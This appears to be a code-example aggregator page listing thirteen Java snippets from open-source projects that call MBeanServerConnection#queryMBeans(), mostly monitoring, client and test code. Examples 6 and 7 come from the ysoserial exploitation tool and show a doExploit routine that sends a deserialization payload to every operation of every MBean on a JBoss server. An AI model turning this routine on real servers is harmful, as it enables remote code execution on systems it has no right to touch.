Java Code Examples for javax.management.MBeanServerConnection#queryMBeans()

The following examples show how to use javax.management.MBeanServerConnection#queryMBeans() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: BaseJMXMonitorDataCatchWorker.java    From uavstack with Apache License 2.0 6 votes vote down vote up
/**
 * scan out all monitor MBeans
 *
 * @param mbsc
 * @return
 * @throws IOException
 */
protected Set<ObjectInstance> scanMBeans(MBeanServerConnection mbsc, String pattern) throws IOException {

    Set<ObjectInstance> monitorMBeans = null;
    int count = 2;
    while (count > 0) {
        try {
            monitorMBeans = mbsc.queryMBeans(new ObjectName(pattern), null);

            if (monitorMBeans == null || monitorMBeans.isEmpty()) {
                ThreadHelper.suspend(2000);
            }
            else {
                break;
            }

        }
        catch (MalformedObjectNameException e) {
            // ignore
        }
        count--;
    }

    return monitorMBeans;
}
 
Example 2
Source File: JmxGetMBeans.java    From openbd-core with GNU General Public License v3.0 6 votes vote down vote up
public cfData execute( cfSession _session, List<cfData> parameters )throws cfmRunTimeException{

 	String domain	= parameters.get(0).getString();

 	cfArrayData arr = cfArrayData.createArray(1);

 	try {
   	MBeanServerConnection mbs = ManagementFactory.getPlatformMBeanServer();

   	ObjectName name = new ObjectName( domain + ":*" );
   	Set s = mbs.queryMBeans( name, null );

 		Iterator<ObjectInstance> it = s.iterator();
 		while ( it.hasNext() ){
 			ObjectInstance o	= it.next();
 			arr.addElement( new cfStringData( o.getObjectName().getKeyProperty("type") ) );
 		}
		
	} catch (Exception e) {
		throwException( _session, "Failed to retrieve the MBeans: " + e.getMessage() );
	}
 	
 	return arr;
 }
 
Example 3
Source File: ModelControllerMBeanTestCase.java    From wildfly-core with GNU Lesser General Public License v2.1 6 votes vote down vote up
private void checkQueryMBeans(MBeanServerConnection connection, int count, ObjectName filter) throws Exception {
    Set<ObjectInstance> instances = connection.queryMBeans(filter, null);
    Set<ObjectName> objectNames = connection.queryNames(filter, null);
    Assert.assertEquals(count, instances.size());
    Assert.assertEquals(count, objectNames.size());

    checkSameMBeans(instances, objectNames);

    final ObjectName[] names = {LEGACY_ROOT_NAME, LEGACY_INTERFACE_NAME, LEGACY_SOCKET_BINDING_GROUP_NAME, LEGACY_SERVER_SOCKET_BINDING_NAME, LEGACY_SUBSYSTEM_NAME,
            EXPR_ROOT_NAME, EXPR_INTERFACE_NAME, EXPR_SOCKET_BINDING_GROUP_NAME, EXPR_SERVER_SOCKET_BINDING_NAME, EXPR_SUBSYSTEM_NAME};
    assertContainsNames(objectNames, names);

    for (ObjectName name : names) {
        checkQuerySingleMBean(connection, name);
    }
}
 
Example 4
Source File: Client.java    From vjtools with Apache License 2.0 5 votes vote down vote up
protected static Object[] doBeans(final MBeanServerConnection mbsc, final ObjectName objName,
		final String[] command, final boolean oneBeanOnly) throws Exception {
	Object[] result = null;
	Set beans = mbsc.queryMBeans(objName, null);
	if (beans.isEmpty()) {
		// No bean found. Check if we are to create a bean?
		if (command.length == 1 && notEmpty(command[0]) && command[0].startsWith(CREATE_CMD_PREFIX)) {
			String className = command[0].substring(CREATE_CMD_PREFIX.length());
			mbsc.createMBean(className, objName);
		} else {
			// TODO: Is there a better JMX exception that RE for this
			// scenario?
			throw new RuntimeException(objName.getCanonicalName() + " not registered.");
		}
	} else if (beans.size() == 1) {
		result = doBean(mbsc, (ObjectInstance) beans.iterator().next(), command);
	} else {
		if (oneBeanOnly) {
			throw new RuntimeException("Only supposed to be one bean " + "query result");
		}
		// This is case of multiple beans in query results.
		// Print name of each into a StringBuffer. Return as one
		// result.
		StringBuffer buffer = new StringBuffer();
		for (Iterator i = beans.iterator(); i.hasNext();) {
			Object obj = i.next();
			if (obj instanceof ObjectName) {
				buffer.append((((ObjectName) obj).getCanonicalName()));
			} else if (obj instanceof ObjectInstance) {
				buffer.append((((ObjectInstance) obj).getObjectName().getCanonicalName()));
			} else {
				throw new RuntimeException("Unexpected object type: " + obj);
			}
			buffer.append("\n");
		}
		result = new String[] { buffer.toString() };
	}
	return result;
}
 
Example 5
Source File: Client.java    From vjtools with Apache License 2.0 5 votes vote down vote up
protected static Object[] doBeans(final MBeanServerConnection mbsc, final ObjectName objName,
		final String[] command, final boolean oneBeanOnly) throws Exception {
	Object[] result = null;
	Set beans = mbsc.queryMBeans(objName, null);
	if (beans.size() == 0) {
		// No bean found. Check if we are to create a bean?
		if (command.length == 1 && notEmpty(command[0]) && command[0].startsWith(CREATE_CMD_PREFIX)) {
			String className = command[0].substring(CREATE_CMD_PREFIX.length());
			mbsc.createMBean(className, objName);
		} else {
			// TODO: Is there a better JMX exception that RE for this
			// scenario?
			throw new RuntimeException(objName.getCanonicalName() + " not registered.");
		}
	} else if (beans.size() == 1) {
		result = doBean(mbsc, (ObjectInstance) beans.iterator().next(), command);
	} else {
		if (oneBeanOnly) {
			throw new RuntimeException("Only supposed to be one bean " + "query result");
		}
		// This is case of multiple beans in query results.
		// Print name of each into a StringBuffer. Return as one
		// result.
		StringBuffer buffer = new StringBuffer();
		for (Iterator i = beans.iterator(); i.hasNext();) {
			Object obj = i.next();
			if (obj instanceof ObjectName) {
				buffer.append((((ObjectName) obj).getCanonicalName()));
			} else if (obj instanceof ObjectInstance) {
				buffer.append((((ObjectInstance) obj).getObjectName().getCanonicalName()));
			} else {
				throw new RuntimeException("Unexpected object type: " + obj);
			}
			buffer.append("\n");
		}
		result = new String[] { buffer.toString() };
	}
	return result;
}
 
Example 6
Source File: JBoss.java    From ysoserial-modified with MIT License 5 votes vote down vote up
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
 
Example 7
Source File: JBoss.java    From ysoserial with MIT License 5 votes vote down vote up
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
        throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
    Object[] params = new Object[1];
    params[ 0 ] = payloadObject;
    System.err.println("Querying MBeans");
    Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
    System.err.println("Found " + testMBeans.size() + " MBeans");
    for ( ObjectInstance oi : testMBeans ) {
        MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
        for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
            try {
                mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
                System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
                return;
            }
            catch ( Throwable e ) {
                String msg = e.getMessage();
                if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
                    int start = msg.indexOf('"');
                    int stop = msg.indexOf('"', start + 1);
                    String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
                    if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
                        int cstart = msg.indexOf(':');
                        int cend = msg.indexOf(' ', cstart + 2);
                        String cls = msg.substring(cstart + 2, cend);
                        System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
                    }
                }
                else {
                    System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS|ERROR " + msg);
                    return;
                }
            }
        }
    }
}
 
Example 8
Source File: ModelControllerMBeanTestCase.java    From wildfly-core with GNU Lesser General Public License v2.1 5 votes vote down vote up
private void checkQuerySingleMBean(MBeanServerConnection connection, ObjectName filter) throws Exception {
    Set<ObjectInstance> instances = connection.queryMBeans(filter, null);
    Set<ObjectName> objectNames = connection.queryNames(filter, null);
    Assert.assertEquals("Expected 1 for " + filter, 1, instances.size());
    Assert.assertEquals("Expected 1 for " + filter, 1, objectNames.size());
    Assert.assertEquals(filter, instances.iterator().next().getObjectName());
    Assert.assertEquals(filter, objectNames.iterator().next());
}
 
Example 9
Source File: GemfireMBeanServerConnection.java    From gemfirexd-oss with Apache License 2.0 4 votes vote down vote up
@Override
public Set<ObjectInstance> queryMBeans(ObjectName name, QueryExp query) throws IOException {
  //throw new UnsupportedOperationException("GemfireMBeanServerConnection does not implement this opeation ");
  MBeanServerConnection server = ManagementUtil.getPlatformMBeanServer();
  return server.queryMBeans(name, query);
}
 
Example 10
Source File: GemfireMBeanServerConnection.java    From gemfirexd-oss with Apache License 2.0 4 votes vote down vote up
@Override
public Set<ObjectInstance> queryMBeans(ObjectName name, QueryExp query) throws IOException {
  //throw new UnsupportedOperationException("GemfireMBeanServerConnection does not implement this opeation ");
  MBeanServerConnection server = ManagementUtil.getPlatformMBeanServer();
  return server.queryMBeans(name, query);
}
 
Example 11
Source File: JMServer.java    From jmonitor with GNU General Public License v2.0 4 votes vote down vote up
public static JSONObject loadMemoryInfo(String app) {
    try {
        MemoryMXBean mBean = JMConnManager.getMemoryMBean(app);
        MemoryUsage nonHeap = mBean.getNonHeapMemoryUsage();
        MemoryUsage heap = mBean.getHeapMemoryUsage();

        JSONObject map = new JSONObject(true);
        buildMemoryJSon(heap, "heap", map);
        buildMemoryJSon(nonHeap, "nonheap", map);

        JSONObject heapChild = new JSONObject();
        JSONObject nonheapChild = new JSONObject();

        JSONObject heapUsed = new JSONObject();
        JSONObject heapMax = new JSONObject();
        heapUsed.put("used", heap.getUsed());
        heapMax.put("used", heap.getCommitted());
        heapChild.put("HeapUsed", heapUsed);
        heapChild.put("HeapCommit", heapMax);

        JSONObject nonheapUsed = new JSONObject();
        JSONObject noheapMax = new JSONObject();
        nonheapUsed.put("used", nonHeap.getUsed());
        noheapMax.put("used", nonHeap.getCommitted());

        nonheapChild.put("NonheapUsed", nonheapUsed);
        nonheapChild.put("NonheapCommit", noheapMax);

        ObjectName obj = new ObjectName("java.lang:type=MemoryPool,*");
        MBeanServerConnection conn = JMConnManager.getConn(app);
        Set<ObjectInstance> MBeanset = conn.queryMBeans(obj, null);
        for (ObjectInstance objx : MBeanset) {
            String name = objx.getObjectName().getCanonicalName();
            String keyName = objx.getObjectName().getKeyProperty("name");
            MemoryPoolMXBean bean = JMConnManager.getServer(app, name, MemoryPoolMXBean.class);
            JSONObject item = toJson(bean.getUsage());
            if (JMConnManager.HEAP_ITEM.contains(keyName)) {
                heapChild.put(keyName, item);
            } else {
                nonheapChild.put(keyName, item);
            }
        }
        map.getJSONObject("heap").put("childs", heapChild);
        map.getJSONObject("nonheap").put("childs", nonheapChild);

        return map;
    } catch (Exception e) {
        throw new RuntimeException(e);
    }
}
 
Example 12
Source File: ModelControllerMBeanTestCase.java    From wildfly-core with GNU Lesser General Public License v2.1 4 votes vote down vote up
@Test
public void testExposedMBeans() throws Exception {
    MBeanServerConnection connection = setupAndGetConnection(new BaseAdditionalInitialization(ProcessType.STANDALONE_SERVER));

    int count = connection.getMBeanCount();
    checkQueryMBeans(connection, count, null);
    checkQueryMBeans(connection, count, new ObjectName("*:*"));


    Set<ObjectInstance> filteredInstances = connection.queryMBeans(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"),
            null);
    Set<ObjectName> filteredNames = connection.queryNames(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"), null);
    Assert.assertEquals(2, filteredInstances.size());
    Assert.assertEquals(2, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, LEGACY_SOCKET_BINDING_GROUP_NAME, LEGACY_SERVER_SOCKET_BINDING_NAME);

    filteredInstances = connection.queryMBeans(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"),
            null);
    filteredNames = connection.queryNames(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"), null);
    Assert.assertEquals(2, filteredInstances.size());
    Assert.assertEquals(2, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, EXPR_SOCKET_BINDING_GROUP_NAME, EXPR_SERVER_SOCKET_BINDING_NAME);

    // WFCORE-1716 Test with a property list pattern where the non-wildcard keys are for items later in the address
    filteredInstances = connection.queryMBeans(createObjectName(LEGACY_DOMAIN + ":socket-binding=*,*"),
    null);
    filteredNames = connection.queryNames(createObjectName(LEGACY_DOMAIN + ":socket-binding=*,*"), null);
    Assert.assertEquals(1, filteredInstances.size());
    Assert.assertEquals(1, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, LEGACY_SERVER_SOCKET_BINDING_NAME);

    // WFCORE-1257 -- Test with QueryExp

    // First a numeric query (port) = (12345)
    filteredInstances = connection.queryMBeans(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"),
            PORT_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"), PORT_QUERY_EXP);
    Assert.assertEquals(1, filteredInstances.size());
    Assert.assertEquals(1, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, LEGACY_SERVER_SOCKET_BINDING_NAME);
    // Doesn't match on jboss.as.expr as the value is a string
    filteredInstances = connection.queryMBeans(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"),
            PORT_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"), PORT_QUERY_EXP);
    Assert.assertEquals(0, filteredInstances.size());
    Assert.assertEquals(0, filteredNames.size());

    // Next a port string query (port) = ("12345")
    // Doesn't match on jboss.as as the value is an int
    filteredInstances = connection.queryMBeans(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"),
            PORT_STRING_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"), PORT_STRING_QUERY_EXP);
    Assert.assertEquals(0, filteredInstances.size());
    Assert.assertEquals(0, filteredNames.size());
    // Does match on jboss.as.expr as the value is a string
    filteredInstances = connection.queryMBeans(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"),
            PORT_STRING_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"), PORT_STRING_QUERY_EXP);
    Assert.assertEquals(1, filteredInstances.size());
    Assert.assertEquals(1, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, EXPR_SERVER_SOCKET_BINDING_NAME);

    // Next a straight string query (defaultInterface) = ("test-interface")
    // Note this also checks a bit on the default-interface -> defaultInterface camel case handling
    filteredInstances = connection.queryMBeans(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"),
            DEFAULT_INTERFACE_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(LEGACY_DOMAIN + ":socket-binding-group=*,*"),
            DEFAULT_INTERFACE_QUERY_EXP);
    Assert.assertEquals(1, filteredInstances.size());
    Assert.assertEquals(1, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, LEGACY_SOCKET_BINDING_GROUP_NAME);

    filteredInstances = connection.queryMBeans(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"),
            DEFAULT_INTERFACE_QUERY_EXP);
    filteredNames = connection.queryNames(createObjectName(EXPR_DOMAIN + ":socket-binding-group=*,*"), DEFAULT_INTERFACE_QUERY_EXP);
    Assert.assertEquals(1, filteredInstances.size());
    Assert.assertEquals(1, filteredNames.size());
    checkSameMBeans(filteredInstances, filteredNames);
    assertContainsNames(filteredNames, EXPR_SOCKET_BINDING_GROUP_NAME);
}
 
Example 13
Source File: JMXHelper.java    From newrelic-plugins with MIT License 4 votes vote down vote up
public static Set<ObjectInstance> queryConnectionBy(MBeanServerConnection connection, ObjectName objectName) throws Exception {
	return connection.queryMBeans(objectName, null);
}